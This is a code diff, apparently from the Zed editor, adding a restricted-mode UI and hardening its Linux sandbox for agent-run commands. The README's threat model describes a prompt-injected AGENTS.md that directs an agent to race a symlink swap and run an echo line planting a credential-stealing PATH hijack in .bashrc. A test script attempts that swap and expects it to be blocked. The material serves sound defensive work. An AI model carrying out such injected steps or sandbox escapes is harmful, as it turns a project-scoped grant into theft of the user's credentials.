+                                                    Icon::new(IconName::Check).color(Color::Accent),
+                                                )
+                                            }),
                                     )
                                 }),
                         )
@@ -644,13 +710,61 @@ impl PickerDelegate for ProfilePickerDelegate {
         };
 
         let candidate = self.candidates.get(entry.candidate_index)?;
-        let docs_aside = Self::documentation(candidate)?.to_string();
+        let description = Self::documentation(candidate).map(|docs| docs.to_string());
+        let forbidden_tools = if self.provider.is_restricted(cx) {
+            Self::restricted_forbidden_tools(&candidate.id, cx)
+        } else {
+            Vec::new()
+        };
+
+        // Nothing to show: no description and no restricted-tool warning.
+        if description.is_none() && forbidden_tools.is_empty() {
+            return None;
+        }
 
         let side = documentation_aside_side(cx);
 
         Some(DocumentationAside {
             side,
-            render: Rc::new(move |_| Label::new(docs_aside.clone()).into_any_element()),
+            render: Rc::new(move |cx| {
+                v_flex()
+                    .gap_1p5()
+                    .when_some(description.clone(), |this, description| {
+                        this.child(Label::new(description))
+                    })
+                    .when(!forbidden_tools.is_empty(), |this| {
+                        this.when(description.is_some(), |this| {
+                            this.child(
+                                div()
+                                    .border_t_1()
+                                    .border_color(cx.theme().colors().border_variant),
+                            )
+                        })
+                        .child(
+                            v_flex()
+                                .gap_0p5()
+                                .child(
+                                    h_flex()
+                                        .gap_1()
+                                        .child(
+                                            Icon::new(IconName::Warning)
+                                                .size(IconSize::XSmall)
+                                                .color(Color::Warning),
+                                        )
+                                        .child(
+                                            Label::new("Disabled in Restricted Mode")
+                                                .size(LabelSize::Small),
+                                        ),
+                                )
+                                .children(forbidden_tools.iter().map(|tool| {
+                                    Label::new(format!("• {tool}"))
+                                        .size(LabelSize::Small)
+                                        .color(Color::Muted)
+                                })),
+                        )
+                    })
+                    .into_any_element()
+            }),
         })
     }
 
@@ -664,29 +778,66 @@ impl PickerDelegate for ProfilePickerDelegate {
         cx: &mut Context<Picker<Self>>,
     ) -> Option<gpui::AnyElement> {
         let focus_handle = self.focus_handle.clone();
+        let is_restricted = self.provider.is_restricted(cx);
 
         Some(
-            h_flex()
+            v_flex()
                 .w_full()
-                .border_t_1()
-                .border_color(cx.theme().colors().border_variant)
-                .p_1p5()
                 .child(
-                    Button::new("configure", "Configure")
-                        .full_width()
-                        .style(ButtonStyle::Outlined)
-                        .key_binding(
-                            KeyBinding::for_action_in(
-                                &ManageProfiles::default(),
-                                &focus_handle,
-                                cx,
-                            )
-                            .map(|kb| kb.size(rems_from_px(12.))),
-                        )
-                        .on_click(|_, window, cx| {
-                            window.dispatch_action(ManageProfiles::default().boxed_clone(), cx);
-                        }),
+                    h_flex()
+                        .w_full()
+                        .border_t_1()
+                        .border_color(cx.theme().colors().border_variant)
+                        .p_1p5()
+                        .child(
+                            Button::new("configure", "Configure")
+                                .full_width()
+                                .style(ButtonStyle::Outlined)
+                                .key_binding(
+                                    KeyBinding::for_action_in(
+                                        &ManageProfiles::default(),
+                                        &focus_handle,
+                                        cx,
+                                    )
+                                    .map(|kb| kb.size(rems_from_px(12.))),
+                                )
+                                .on_click(|_, window, cx| {
+                                    window.dispatch_action(
+                                        ManageProfiles::default().boxed_clone(),
+                                        cx,
+                                    );
+                                }),
+                        ),
                 )
+                .when(is_restricted, |this| {
+                    this.child(
+                        h_flex()
+                            .w_full()
+                            .border_t_1()
+                            .border_color(cx.theme().colors().border_variant)
+                            .p_1p5()
+                            .child(
+                                Button::new("restricted-mode", "Restricted Mode")
+                                    .full_width()
+                                    .style(ButtonStyle::Tinted(TintColor::Warning))
+                                    .color(Color::Warning)
+                                    .start_icon(
+                                        Icon::new(IconName::Warning)
+                                            .size(IconSize::Small)
+                                            .color(Color::Warning),
+                                    )
+                                    .tooltip(Tooltip::text(
+                                        "Some tools are disabled. Click to review trust settings.",
+                                    ))
+                                    .on_click(|_, window, cx| {
+                                        window.dispatch_action(
+                                            ToggleWorktreeSecurity.boxed_clone(),
+                                            cx,
+                                        );
+                                    }),
+                            ),
+                    )
+                })
                 .into_any(),
         )
     }
diff --git a/crates/docs_preprocessor/src/main.rs b/crates/docs_preprocessor/src/main.rs
index 5b860ba16cdd8b..df3b556d6a47ca 100644
--- a/crates/docs_preprocessor/src/main.rs
+++ b/crates/docs_preprocessor/src/main.rs
@@ -395,10 +395,21 @@ fn template_and_validate_json_snippets(book: &mut Book, errors: &mut HashSet<Pre
     let settings_validator = jsonschema::validator_for(&settings_schema)
         .expect("failed to compile settings JSON schema");
 
-    let keymap_schema =
-        keymap_schema_for_actions(&ALL_ACTIONS.actions, &ALL_ACTIONS.schema_definitions);
-    let keymap_validator =
-        jsonschema::validator_for(&keymap_schema).expect("failed to compile keymap JSON schema");
+    // The keymap schema is built from the action manifest. When `actions.json`
+    // is unavailable (e.g. when running outside of CI without first generating
+    // it) there are no actions, which produces an invalid schema (an empty
+    // `anyOf`). In that case we skip keymap snippet validation rather than
+    // panicking, consistent with the action validation skipped above.
+    let keymap_validator = if actions_available() {
+        let keymap_schema =
+            keymap_schema_for_actions(&ALL_ACTIONS.actions, &ALL_ACTIONS.schema_definitions);
+        Some(
+            jsonschema::validator_for(&keymap_schema)
+                .expect("failed to compile keymap JSON schema"),
+        )
+    } else {
+        None
+    };
 
     fn for_each_labeled_code_block_mut(
         book: &mut Book,
@@ -499,19 +510,22 @@ fn template_and_validate_json_snippets(book: &mut Book, errors: &mut HashSet<Pre
                 }
             }
             "keymap" => {
-                if !snippet_json_fixed.starts_with('[') || !snippet_json_fixed.ends_with(']') {
-                    snippet_json_fixed.insert(0, '[');
-                    snippet_json_fixed.push_str("\n]");
-                }
+                if let Some(keymap_validator) = &keymap_validator {
+                    if !snippet_json_fixed.starts_with('[') || !snippet_json_fixed.ends_with(']') {
+                        snippet_json_fixed.insert(0, '[');
+                        snippet_json_fixed.push_str("\n]");
+                    }
 
-                let value =
-                    settings::parse_json_with_comments::<serde_json::Value>(&snippet_json_fixed)?;
-                let validation_errors: Vec<String> = keymap_validator
-                    .iter_errors(&value)
-                    .map(|err| err.to_string())
-                    .collect();
-                if !validation_errors.is_empty() {
-                    anyhow::bail!("{}", validation_errors.join("\n"));
+                    let value = settings::parse_json_with_comments::<serde_json::Value>(
+                        &snippet_json_fixed,
+                    )?;
+                    let validation_errors: Vec<String> = keymap_validator
+                        .iter_errors(&value)
+                        .map(|err| err.to_string())
+                        .collect();
+                    if !validation_errors.is_empty() {
+                        anyhow::bail!("{}", validation_errors.join("\n"));
+                    }
                 }
             }
             "debug" => {
diff --git a/crates/sandbox/Cargo.toml b/crates/sandbox/Cargo.toml
index 6a65e2a098447c..c9211dfa99f57d 100644
--- a/crates/sandbox/Cargo.toml
+++ b/crates/sandbox/Cargo.toml
@@ -55,6 +55,9 @@ serde_json = { workspace = true, optional = true }
 
 [target.'cfg(target_os = "linux")'.dependencies]
 libc.workspace = true
+# Safe wrappers for the SCM_RIGHTS fd-passing and `fstat` the bind validator
+# needs, so that code doesn't hand-roll `msghdr`/`CMSG_*`/`mem::zeroed` unsafe.
+nix = { workspace = true, features = ["fs", "socket", "uio"] }
 
 [target.'cfg(target_os = "linux")'.dev-dependencies]
 tempfile.workspace = true
diff --git a/crates/sandbox/README.md b/crates/sandbox/README.md
new file mode 100644
index 00000000000000..d26bbedd2016c1
--- /dev/null
+++ b/crates/sandbox/README.md
@@ -0,0 +1,261 @@
+# `sandbox`
+
+Cross-platform sandboxing for shell commands.
+
+## Overview
+
+This crate allows creating a `Sandbox` according to some `SandboxPolicy`. A
+`SandboxPolicy` expresses:
+- what filesystem operations are allowed
+- which kinds of networking operations are allowed
+- whether git metadata is protected
+
+Once you have a `Sandbox`, you can use it to run commands that are constrained
+by that policy.
+
+## Security model
+
+The sandbox itself assumes all untrusted code is maximally hostile. It does
+*not* assume that the untrusted code is written by a
+well-meaning-but-perhaps-marginally-unaligned AI agent.
+
+However, practical limitations make the default profile in Zed not secure
+against attacks. An attacker with read/write access to the current directory can:
+- create a new Rust project in the current dir
+- create a proc macro library containing malicious code
+- use that macro in the project somewhere
+- rust-analyzer will run that proc macro outside the sandbox
+
+This can be mitigated by:
+- disabling any language servers with the capability to run untrusted code
+- not granting git access (since write access to `.git` can similarly be
+  escalated to unsandboxed code execution via `$EDITOR` and various other
+  methods)
+
+## Implementation
+
+The implementations are highly platform-specific:
+- Mac support comes from Seatbelt
+- Linux support comes from [bubblewrap], implemented via Linux [namespaces].
+- Windows:
+  - WSL: same as Linux
+  - non-WSL: not supported
+
+Note that WSL shells can be used on all Windows projects, regardless of whether
+the files are stored in the Linux filesystem or not.
+
+## Architecture
+
+Filesystem restrictions are different on all platforms. Network restrictions
+however largely follow a similar approach (details omitted):
+- Disable networking in the sandbox, except for one localhost port
+- Within the sandbox, set `HTTP_PROXY` and friends to tell programs to
+  communicate with that socket
+- On the Zed host side, there is a proxy that listens to that port that enforces
+  domain filtering
+
+On Linux specifically, there is an intermediate socket that allows data to flow
+out of the sandbox. This is required because, unlike seatbelt, bubblewrap runs
+sandboxed programs in an entirely separate network stack (i.e. it has a
+different `localhost`).
+
+### Linux
+
+A naive implementation on Linux would work roughly like:
+- Figure out which paths are read-only and which are read/write
+- Run the sandboxed program through `bwrap` with `--ro-bind` for read-only and
+  `--bind` for read/write
+
+However, this fails because of a nasty TOCTOU.
+
+#### The nasty TOCTOU
+
+Consider the following case:
+- an attacker has convinced the user to open `project`, which contains an evil
+  `AGENTS.md`
+- They have also convinced the user to allow git access
+- This means that the user will have given the following permissions to the sandbox:
+  - read/write access to `project`
+  - read/write access to `project/.git`
+  - read/write access to an isolated `/tmp`
+  - read-only access to `/`
+- The `AGENTS.md` instructs the LLM to do the following:
+  - spawn two subagents
+  - the first subagent tries to swap `project/.git` with a symlink to
+    `/home/alice` [`renameat2(2)`][renameat2] with the `RENAME_EXCHANGE`
+    flag set
+  - the second subagent tries to run `echo 'export PATH="proj/obfuscated.../evil_eavesdropping_sudo/bin:$PATH"' >> proj/.git/.bashrc`
+- The user sends a prompt, we pick up the evil `AGENTS.md` instructions, and the
+  agent does them
+- Zed checks whether paths are symlinks outside the allowable paths before
+  passing them to bubblewrap, but there is a **time delay** between this check
+  and when bubblewrap mounts them.
+- In this delay, the `renameat2` may succeed, which means that:
+  - At check time, `proj/.git` is a subdirectory of `proj`
+  - At bind time, `proj/.git` is a symlink to `/home/alice`
+- The attacker is now running code in a sandbox which has **read/write** access
+  to `/home/alice`, and so the second command to inject the malicious
+  credential-stealing sudo succeeds.
+
+
+```mermaid
+sequenceDiagram
+    participant Agent as Zed Agent
+    participant S1 as Subagent 1 swapper
+    participant S2 as Subagent 2 writer
+    participant Zed as Zed path validation
+    participant BW as bubblewrap
+
+    Note over Agent: Evil AGENTS.md picked up, git access granted
+    Note over Agent: Grants rw project, rw project/.git, rw /tmp, ro /
+    Agent->>S1: spawn swap project/.git for a symlink to /home/alice
+    Agent->>S2: spawn append PATH hijack to project/.git/.bashrc
+    Zed->>Zed: check project/.git is not an out-of-bounds symlink
+    Note over Zed: at check time it is a real subdirectory, so OK
+    Note over Zed,BW: time delay, time-of-check to time-of-use
+    S1->>S1: renameat2 RENAME_EXCHANGE wins the race
+    Note over S1: project/.git is now a symlink to /home/alice
+    Zed->>BW: bind project/.git into the sandbox
+    BW->>BW: re-resolve project/.git, following symlink to /home/alice
+    S2->>BW: write project/.git/.bashrc
+    BW-->>S2: write lands in /home/alice/.bashrc
+    Note over S2: escalation, project-scoped grant becomes arbitrary write
+```
+
+Note that this attack requires *two nested directories*, each with read/write
+grants. A single grant is insufficient, because you must mutate *a path which is
+used as a `--bind` argument*. If you cannot mutate a parent (because we are
+assuming no nested directories), then the only part you can mutate is the the
+read/write grant path itself (i.e. `/home/alice/project`). But, in bubblewrap's
+model, doing this requires write access to the *parent* (i.e. `/home/alice`),
+which we have assumed is not present.
+
+`./bind_source_toctou_test.sh` is a small bash script demonstrating this
+behaviour. It tries to replace the current dir with a symlink, and it fails due
+to invalid permissions.
+
+#### The naive (and incorrect) fix
+
+It is tempting to read the previous paragraph and think "that's simple, just
+disallow nested directories". In theory, this would work. A read/write grant to `/foo` and `/foo/bar` is logically equivalent to a read/write grant to just `/foo`. And the following is *true*: 
+
+> If there is no pair of read/write grants such that one is an ancestor of the
+> other, this TOCTOU attack is impossible.
+
+However, this is not a viable countermeasure for two reasons:
+
+1. It requires that no two grants of this kind ever exist at the same time
+   *globally across the whole system*. For example, opening `/foo` in one zed
+   window and `/foo/bar` in another would re-open this exploit. Even if we did
+   mitigate this by widening `/foo/bar` to have access to `/foo` (which in
+   itself is an unacceptable privilege escalation), we still wouldn't be able to
+   control non-Zed processes.
+2. It prevents the potentially useful pattern of:
+  - read/write access to `/foo`
+  - read-only access to `/foo/bar`
+  - read/write access to `/foo/bar/baz`
+
+Because of this, we need something more robust.
+
+#### The correct fix
+
+The correct fix involves using file descriptors as the source of truth, rather
+than paths. This is important because file descriptors are stable once opened,
+regardless of what happens to the path. The symlink swap attack will not change
+which inode the FD points to.
+
+This leads to a different question: how do we tell `bwrap` to use FDs instead of paths?
+
+`bwrap` does support `--bind-fd`, but this has another issue: "how do you get
+FDs into the `bwrap` process?
+
+There are two options:
+1. open the FDs in zed, clear `CLOEXEC`, then fork/exec into bwrap with the FD arguments
+2. send them into a helper process inside the sandbox using an `SCM_RIGHTS`
+  socket, and validate from the inside of the sandbox.
+
+We chose option 2 because we already have a helper process inside the sandbox
+(to set up the HTTP proxy).
+
+The flow for this approach in detail is:
+- open each *writable* path we `--bind` and get an `O_PATH` FD (which pins the
+  inode without granting read/write on its contents)
+- create an `SCM_RIGHTS` socket over which we can send the FDs
+- run `bwrap --bind /path1 /path1 ... -- zed --zed-linux-sandbox-launcher <untrusted program args>`
+  - note: we use (potentially swapped) paths
+  - we also mount the socket in the sandbox
+- the sandbox bridge reads the FDs from the socket, does the following for each
+  read/write bind:
+  - `fstat` the FD to get the `(device, inode)`
+  - `lstat` the corresponding mount path to get its `(device, inode)`
+  - check that they match
+
+  Note that this is essentially the check that `bwrap --bind-fd` does internally.
+- if all binds match, run the untrusted command, otherwise refuse to execute
+
+```mermaid
+sequenceDiagram
+    participant Zed as Zed host
+    participant BW as bubblewrap
+    participant Bridge as sandbox-bridge in sandbox
+    participant Prog as untrusted program
+
+    Zed->>Zed: open O_PATH FD per writable path, pinning the inode
+    Zed->>Zed: create SCM_RIGHTS socket
+    Zed->>BW: exec bwrap, binding paths, then zed --zed-linux-sandbox-launcher
+    Note over Zed,BW: binds use possibly-swapped paths, socket mounted in sandbox
+    Zed->>Bridge: send FDs over the SCM_RIGHTS socket
+    loop each writable bind
+        Bridge->>Bridge: fstat the FD to get device and inode
+        Bridge->>Bridge: lstat the mount path to get device and inode
+        Bridge->>Bridge: compare the two pairs
+    end
+    alt all binds match
+        Bridge->>Prog: exec the untrusted command
+    else any mismatch, a path was swapped
+        Bridge-->>Zed: refuse to execute
+    end
+```
+
+If the attacker managed to change a path to point to a different inode to when
+the FD was captured, the check will fail, and we don't run the untrusted
+command.
+
+### Windows
+
+> [!NOTE] The Windows implementation depends heavily on the details of the Linux
+  implementation. 
+
+The Linux approach works perfectly on WSL in theory (WSL uses a "regular linux
+kernel"), but there is one practical thorn: the zed host code that creates the
+FD is now running on Windows, but we need Linux file descriptors.
+
+To work around this, we launch `zed --wsl-sandbox-helper` in WSL, which is a
+shim that captures the FDs and sets up the socket. We download this to
+`~/.local/libexec/zed`, so that it does not conflict with the Windows `zed.exe`
+binary that WSL will inject into the Linux `$PATH` (yes the `.exe` is stripped).
+## Code design
+
+### `HostFilesystemLocation`
+
+As mentioned above, TOCTOUs are a real issue. MacOS is not vulnerable to the
+TOCTOU that affected Linux, but there is still a risk if we canonicalize paths
+twice with a time delay between. 
+
+To mitigate this, sensitive APIs take a `HostFilesystemLocation`. This is:
+- an `Arc<OwnedFd>` on Linux
+- a `PathBuf` on MacOS
+
+This type does not expose its inner value, and so this encourages the developer
+to capture and validate the path once, before passing it into this type.
+
+### `SandboxFilesystemLocation`
+
+A thin wrapper around a `PathBuf` representing a location *inside* the sandbox.
+No hardening is required - the worst a tampered in-sandbox path can do is expose
+already-granted host files at a different in-sandbox path.
+
+
+[bubblewrap]: https://github.com/containers/bubblewrap
+[namespaces]: https://en.wikipedia.org/wiki/Linux_namespaces
+[renameat2]: https://man.archlinux.org/man/renameat2.2.en
diff --git a/crates/sandbox/bind_source_toctou_test.sh b/crates/sandbox/bind_source_toctou_test.sh
new file mode 100755
index 00000000000000..9addfa046782d7
--- /dev/null
+++ b/crates/sandbox/bind_source_toctou_test.sh
@@ -0,0 +1,29 @@
+#!/usr/bin/env bash
+set -u
+command -v bwrap >/dev/null || { echo "bwrap not found" >&2; exit 2; }
+
+ROOT="$(mktemp -d)"; trap 'rm -rf "$ROOT"' EXIT
+READ_WRITE_DIR="$ROOT/foo/bar"
+ATTACK_TARGET="$ROOT/baz"
+mkdir -p "$READ_WRITE_DIR" "$ATTACK_TARGET"
+
+# /foo (parent of the grant) is read-only; only /foo/bar is writable, so staging
+# then renaming a symlink over /foo/bar fails.
+# 
+# Writable access to `/foo/bar` should not result in the ability to make
+# `/foo/bar` into a symlink.
+bwrap \
+  --ro-bind / / \
+  --bind "$READ_WRITE_DIR" "$READ_WRITE_DIR" \
+  --unshare-user \
+  --setenv READ_WRITE_DIR "$READ_WRITE_DIR" \
+  --setenv ATTACK_TARGET "$ATTACK_TARGET" \
+  /bin/sh -c '
+    ln -s "$ATTACK_TARGET" "$READ_WRITE_DIR.link" && mv -fT "$READ_WRITE_DIR.link" "$READ_WRITE_DIR" && exit 7
+    exit 0
+  '
+rc=$?
+
+if [ "$rc" -eq 7 ] || [ -L "$READ_WRITE_DIR" ]; then echo "FAIL: grant redirected"; exit 1; fi
+[ "$rc" -eq 0 ] || { echo "bwrap error (rc=$rc)" >&2; exit 2; }
+echo "PASS: swap blocked"
diff --git a/crates/sandbox/src/bwrap_test_helper.rs b/crates/sandbox/src/bwrap_test_helper.rs
index 27c8523ce32b54..d0aaa29a83726f 100644
--- a/crates/sandbox/src/bwrap_test_helper.rs
+++ b/crates/sandbox/src/bwrap_test_helper.rs
@@ -30,12 +30,13 @@ fn main() {
 mod imp {
     use std::io::{Read as _, Write as _};
     use std::net::TcpStream;
-    use std::path::{Path, PathBuf};
+    use std::path::Path;
     use std::time::Duration;
 
     use anyhow::{Context as _, Result, bail};
     use sandbox::{
-        CommandAndArgs, Sandbox, SandboxError, SandboxFsPolicy, SandboxNetPolicy, SandboxPolicy,
+        CommandAndArgs, GitSandboxPolicy, HostFilesystemLocation, Sandbox, SandboxError,
+        SandboxFsPolicy, SandboxNetPolicy, SandboxPolicy,
     };
     use serde::Deserialize;
 
@@ -111,6 +112,14 @@ mod imp {
         network_access: NetMode,
         #[serde(default)]
         allowed_domains: Vec<String>,
+        /// `.git` directories to protect (contents read-only on Linux). Selects a
+        /// `Denied` Git policy. Mutually exclusive with `gitAllowed`.
+        #[serde(default)]
+        git_disabled: Vec<String>,
+        /// `.git` directories to make writable. Selects an `Allowed` Git policy.
+        /// Mutually exclusive with `gitDisabled`.
+        #[serde(default)]
+        git_allowed: Vec<String>,
 
         // ---- operation (exactly one) ----
         /// Read this host path from inside the sandbox.
@@ -169,12 +178,24 @@ mod imp {
         checks.finish()
     }
 
-    fn policy_of(check: &Check) -> SandboxPolicy {
+    fn policy_of(check: &Check) -> Result<SandboxPolicy> {
         let fs = match check.fs {
             FsMode::Unrestricted => SandboxFsPolicy::Unrestricted,
-            FsMode::Restricted => SandboxFsPolicy::Restricted {
-                writable_paths: check.writable_paths.iter().map(PathBuf::from).collect(),
-            },
+            FsMode::Restricted => {
+                let mut writable_paths = Vec::new();
+                for path in &check.writable_paths {
+                    // Mirror production (`acp_thread::SandboxWrap::to_policy`):
+                    // the directory must exist before its inode can be pinned, so
+                    // create it up front, then capture it.
+                    std::fs::create_dir_all(path)
+                        .with_context(|| format!("failed to create writable path {path}"))?;
+                    writable_paths.push(
+                        HostFilesystemLocation::new(path)
+                            .with_context(|| format!("failed to capture writable path {path}"))?,
+                    );
+                }
+                SandboxFsPolicy::Restricted { writable_paths }
+            }
         };
         let network = match check.network_access {
             NetMode::Unrestricted => SandboxNetPolicy::Unrestricted,
@@ -183,18 +204,47 @@ mod imp {
                 allowed_domains: check.allowed_domains.clone(),
             },
         };
-        SandboxPolicy {
-            fs,
-            network,
-            git: sandbox::GitSandboxPolicy::default(),
-        }
+        // `gitAllowed` and `gitDisabled` are mutually exclusive; `gitAllowed`
+        // wins if both are (mistakenly) set. With neither, the default protects
+        // an empty set of dirs, which is a no-op.
+        let git = if !check.git_allowed.is_empty() {
+            GitSandboxPolicy::Allowed {
+                git_dirs: capture_git_dirs(&check.git_allowed),
+            }
+        } else if !check.git_disabled.is_empty() {
+            GitSandboxPolicy::Denied {
+                git_dirs: capture_git_dirs(&check.git_disabled),
+            }
+        } else {
+            GitSandboxPolicy::default()
+        };
+        Ok(SandboxPolicy { fs, network, git })
+    }
+
+    /// Capture each already-existing `.git` directory, mirroring production's
+    /// fail-closed `filter_map(HostFilesystemLocation::new(..).ok())`: a `.git`
+    /// that does not yet exist can't be pinned and is simply skipped (the
+    /// documented Linux gap). Unlike writable paths, these are never created
+    /// here — whether one exists is exactly what several checks turn on.
+    fn capture_git_dirs(paths: &[String]) -> Vec<HostFilesystemLocation> {
+        paths
+            .iter()
+            .filter_map(|path| HostFilesystemLocation::new(path).ok())
+            .collect()
     }
 
     fn describe(check: &Check) -> String {
         if let Some(name) = &check.name {
             return name.clone();
         }
-        let policy = format!("fs={:?},net={:?}", check.fs, check.network_access);
+        let git = if !check.git_allowed.is_empty() {
+            format!(",git_allowed={:?}", check.git_allowed)
+        } else if !check.git_disabled.is_empty() {
+            format!(",git_disabled={:?}", check.git_disabled)
+        } else {
+            String::new()
+        };
+        let policy = format!("fs={:?},net={:?}{git}", check.fs, check.network_access);
         let op = if let Some(path) = &check.read {
             format!("read {path}")
         } else if let Some(path) = &check.write {
@@ -211,10 +261,10 @@ mod imp {
 
     fn run_check(check: &Check, echo_port: &str, checks: &mut Checks) -> Result<()> {
         let label = describe(check);
-        let policy = policy_of(check);
 
         if let Some(expect_can_create) = check.can_create {
-            let outcome = Sandbox::can_create(&policy, None);
+            let policy = policy_of(check)?;
+            let outcome = Sandbox::can_create(&policy);
             let passed = match (&outcome, expect_can_create) {
                 (Ok(()), true) => true,
                 (Ok(()), false) => false,
@@ -234,11 +284,11 @@ mod imp {
             .with_context(|| format!("check {label:?} has an operation but no `succeeds`"))?;
 
         let actual = if let Some(path) = &check.read {
-            run_read(&policy, path)?
+            run_read(check, path)?
         } else if let Some(path) = &check.write {
-            run_write(&policy, path)?
+            run_write(check, path)?
         } else if let Some(host) = &check.network {
-            run_network(&policy, host, echo_port)?
+            run_network(check, host, echo_port)?
         } else {
             bail!("check {label:?} has no operation");
         };
@@ -250,7 +300,7 @@ mod imp {
     /// Seed a host file, then `cat` it from inside the sandbox. Reads are always
     /// granted (root is bound read-only), so this proves the sandbox doesn't
     /// *block* reads of existing host files.
-    fn run_read(policy: &SandboxPolicy, path: &str) -> Result<bool> {
+    fn run_read(check: &Check, path: &str) -> Result<bool> {
         let path = Path::new(path);
         if let Some(parent) = path.parent() {
             std::fs::create_dir_all(parent)
@@ -259,7 +309,10 @@ mod imp {
         std::fs::write(path, b"sandbox-test\n")
             .with_context(|| format!("failed to seed readable file {}", path.display()))?;
 
-        let mut sandbox = Sandbox::new(policy.clone()).map_err(sandbox_err)?;
+        // Build the policy only after the fixtures exist: capturing a
+        // `HostFilesystemLocation` pins the inode, so the path must be present.
+        let policy = policy_of(check)?;
+        let mut sandbox = Sandbox::new(policy).map_err(sandbox_err)?;
         run_command(
             &mut sandbox,
             "sh",
@@ -271,18 +324,22 @@ mod imp {
     /// the command exited 0 *and* the bytes actually landed on the host file —
     /// a write that only hits the sandbox's ephemeral tmpfs counts as blocked,
     /// since it never escaped the sandbox.
-    fn run_write(policy: &SandboxPolicy, path: &str) -> Result<bool> {
+    fn run_write(check: &Check, path: &str) -> Result<bool> {
         let path = Path::new(path);
         if let Some(parent) = path.parent() {
             // Create the parent on the host so the only thing under test is the
-            // sandbox's write permission, not a missing directory.
+            // sandbox's write permission, not a missing directory. This also
+            // makes a `.git` parent exist before the policy captures it.
             std::fs::create_dir_all(parent)
                 .with_context(|| format!("failed to create parent of {}", path.display()))?;
         }
         // Start from a clean slate so `exists()` afterwards is meaningful.
         let _ = std::fs::remove_file(path);
 
-        let mut sandbox = Sandbox::new(policy.clone()).map_err(sandbox_err)?;
+        // Build the policy only after the fixtures exist: capturing a
+        // `HostFilesystemLocation` pins the inode, so the path must be present.
+        let policy = policy_of(check)?;
+        let mut sandbox = Sandbox::new(policy).map_err(sandbox_err)?;
         let command_ok = run_command(
             &mut sandbox,
             "sh",
@@ -297,14 +354,15 @@ mod imp {
     /// Connect to `host` (`hostname` or `hostname:port`) from inside the
     /// sandbox via the `__echo_check` subcommand, which honors `HTTP_PROXY` for
     /// the restricted-network case.
-    fn run_network(policy: &SandboxPolicy, host: &str, echo_port: &str) -> Result<bool> {
+    fn run_network(check: &Check, host: &str, echo_port: &str) -> Result<bool> {
         let target = if host.contains(':') {
             host.to_string()
         } else {
             format!("{host}:{echo_port}")
         };
         let exe = current_exe_str()?;
-        let mut sandbox = Sandbox::new(policy.clone()).map_err(sandbox_err)?;
+        let policy = policy_of(check)?;
+        let mut sandbox = Sandbox::new(policy).map_err(sandbox_err)?;
         run_command(&mut sandbox, &exe, &[SUBCOMMAND_ECHO_CHECK, &target])
     }
 
diff --git a/crates/sandbox/src/linux_bubblewrap.rs b/crates/sandbox/src/linux_bubblewrap.rs
index 781a90f84df889..18e445e02babeb 100644
--- a/crates/sandbox/src/linux_bubblewrap.rs
+++ b/crates/sandbox/src/linux_bubblewrap.rs
@@ -23,21 +23,41 @@
 //! eliminates a race condition involving BPF user notifications.
 
 use anyhow::{Context as _, Result, anyhow, bail};
-use std::ffi::OsString;
+use std::ffi::{OsStr, OsString};
 use std::io::{Read, Write};
 use std::net::{Ipv4Addr, Shutdown, TcpListener, TcpStream};
+use std::os::fd::{AsRawFd as _, FromRawFd as _, OwnedFd, RawFd};
 use std::os::unix::fs::MetadataExt as _;
-use std::os::unix::net::UnixStream;
-use std::os::unix::process::ExitStatusExt as _;
+use std::os::unix::net::{UnixListener, UnixStream};
+use std::os::unix::process::{CommandExt as _, ExitStatusExt as _};
 use std::path::{Path, PathBuf};
 use std::process::{Command, Stdio};
-use std::sync::atomic::{AtomicU64, Ordering};
+use std::sync::Arc;
+use std::sync::atomic::{AtomicBool, AtomicU64, Ordering};
 use std::thread;
 
-const BRIDGE_FLAG: &str = "--zed-linux-sandbox-bridge";
+/// Re-exec marker for the in-sandbox launcher: it runs inside the sandbox before
+/// the real command to (a) validate that bwrap bound the writable grants to the
+/// inodes we captured (the bind-source TOCTOU backstop) and (b) run the
+/// restricted-network HTTP bridge. See `README.md` for the design.
+const LAUNCHER_FLAG: &str = "--zed-linux-sandbox-launcher";
+/// Re-exec marker for the WSL-side helper. This runs *inside WSL* (a Linux
+/// process) and does what `Sandbox::wrap` + the validation-fd sender do
+/// in-process on native Linux: capture the writable binds' `O_PATH` fds, stand
+/// up the validation socket, assemble the bwrap invocation, and spawn it. The
+/// capture must happen WSL-side because a Windows process holds no Linux fds.
+/// See `README.md`. Shared with the Windows side via `crate::WSL_SANDBOX_HELPER_FLAG`.
+const WSL_HELPER_FLAG: &str = crate::WSL_SANDBOX_HELPER_FLAG;
+/// Sentinel argv token meaning "this optional field is absent".
+const LAUNCHER_NONE: &str = "-";
 const PROXY_SOCKET_SANDBOX_PATH_PREFIX: &str = "/tmp/zed-sandbox";
+const VALIDATION_SOCKET_SANDBOX_PATH_PREFIX: &str = "/tmp/zed-sandbox-validate";
 const SANDBOX_SETUP_FAILED_EXIT_CODE: i32 = 126;
 const PUMP_BUFFER_SIZE: usize = 64 * 1024;
+/// Upper bound on writable binds validated in a single `SCM_RIGHTS` message,
+/// kept comfortably below the kernel's per-message fd limit (`SCM_MAX_FD`, 253).
+/// Exceeding it fails closed rather than silently validating a subset.
+const MAX_VALIDATED_BINDS: usize = 200;
 
 /// Network-access setting for a sandboxed command.
 ///
@@ -157,16 +177,40 @@ fn is_setuid_root(path: &Path) -> bool {
     reason = "the probe is a short-lived background operation that must block on bwrap"
 )]
 fn probe_bwrap(bwrap: &Path, bwrap_args: &[String]) -> bool {
-    Command::new(bwrap)
+    // Capture stderr (rather than discarding it) so a failed probe can report
+    // *why* bwrap refused — the difference between "user namespaces disabled",
+    // "chdir target missing", "no permission", etc. — instead of a bare
+    // `SandboxProbeFailed`.
+    let output = Command::new(bwrap)
         .args(bwrap_args)
         .arg("--")
         .arg("true")
         .stdin(Stdio::null())
         .stdout(Stdio::null())
-        .stderr(Stdio::null())
-        .status()
-        .map(|status| status.success())
-        .unwrap_or(false)
+        .stderr(Stdio::piped())
+        .output();
+
+    match output {
+        Ok(output) if output.status.success() => true,
+        Ok(output) => {
+            log::warn!(
+                "[sandbox] bwrap probe failed ({}). command: {} {}\nbwrap stderr: {}",
+                output.status,
+                bwrap.display(),
+                bwrap_args.join(" "),
+                String::from_utf8_lossy(&output.stderr).trim()
+            );
+            false
+        }
+        Err(error) => {
+            log::warn!(
+                "[sandbox] bwrap probe could not be spawned: {error}. command: {} {}",
+                bwrap.display(),
+                bwrap_args.join(" ")
+            );
+            false
+        }
+    }
 }
 
 /// Build the `bwrap` argument list (everything after the `bwrap` program and
@@ -185,23 +229,31 @@ pub fn build_bwrap_args(
     let proxy_socket_sandbox_path = proxy_socket_path
         .filter(|_| matches!(permissions.network, NetworkAccess::LocalhostPort(_)))
         .map(|_| unique_proxy_socket_sandbox_path());
